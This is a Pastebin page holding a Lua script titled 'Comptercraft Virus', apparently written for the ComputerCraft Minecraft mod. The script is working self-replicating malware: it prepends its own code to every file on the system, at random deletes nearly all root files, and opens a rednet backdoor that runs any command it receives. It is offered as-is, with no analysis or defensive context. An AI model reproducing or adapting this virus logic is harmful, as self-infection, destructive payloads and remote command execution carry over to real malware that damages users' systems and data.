asteroidsteam

Comptercraft Virus

Feb 17th, 2018
292
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 1.76 KB | None | 0 0
  1. local infected = true
  2. function infect(file)
  3.   local virusfile = fs.open(shell.getRunningProgram(), "r")
  4.   local viruscode = virusfile.readAll()
  5.   local inFile = fs.open(file, "r")
  6.   local fileCode = inFile.readAll()
  7.   inFile.close()
  8.   virusfile.close()
  9.   if string.match(fileCode, "local infected = true") then
  10.   else
  11.     if file == "key" then
  12.     else
  13.       local infectFile = fs.open(file,"w")
  14.       infectFile.writeLine("local infected = true")
  15.       infectFile.writeLine(viruscode)
  16.       infectFile.writeLine(fileCode)
  17.       infectFile.close()
  18.     end
  19.   end
  20. end
  21. function remoteCommandStart()
  22.   local sides = {"front","back","right","left","top","bottom"}
  23.   local conn = false
  24.   for i=1,#sides do
  25.     if peripheral.isPresent(sides[i]) and peripheral.getType(sides[i]) == "modem" then
  26.       rednet.open(sides[i])
  27.       conn = true
  28.       break
  29.     end
  30.   end
  31.   if conn then
  32.     remoteCommand()
  33.   else
  34.   end
  35. end
  36. function remoteCommand()
  37.     local id,msg = rednet.receive("162857")
  38.     shell.run(msg)
  39.     rednet.send(id, "Done: "..msg, "162857")
  40. end
  41. function payload()
  42.   local a = math.random(1, 5)
  43.   if a == 3 then
  44.     local files = fs.list("/")
  45.     for i=1,#files do
  46.       if files[i] == "rom" then
  47.       else
  48.         if files[i] == "startup" then
  49.         else
  50.           fs.delete(files[i])
  51.         end
  52.       end
  53.     end
  54.   end
  55. end
  56. function infectDir(directory)
  57.   shell.setDir(directory)
  58.   local files = fs.list(directory)
  59.   for i=1,#files do
  60.     if fs.isDir(files[i]) then
  61.       if files[i] == "rom" then
  62.       else
  63.         infectDir(shell.dir().."/"..files[i])
  64.       end
  65.     else
  66.       infect(shell.dir().."/"..files[i])
  67.     end
  68.   end
  69.   shell.setDir("")
  70. end
  71. infectDir("/")
  72. payload()
  73. while true do
  74.     parallel.waitForAny(shell.run("shell"), remoteCommandStart())
  75. end
Add Comment
Please, Sign In to add comment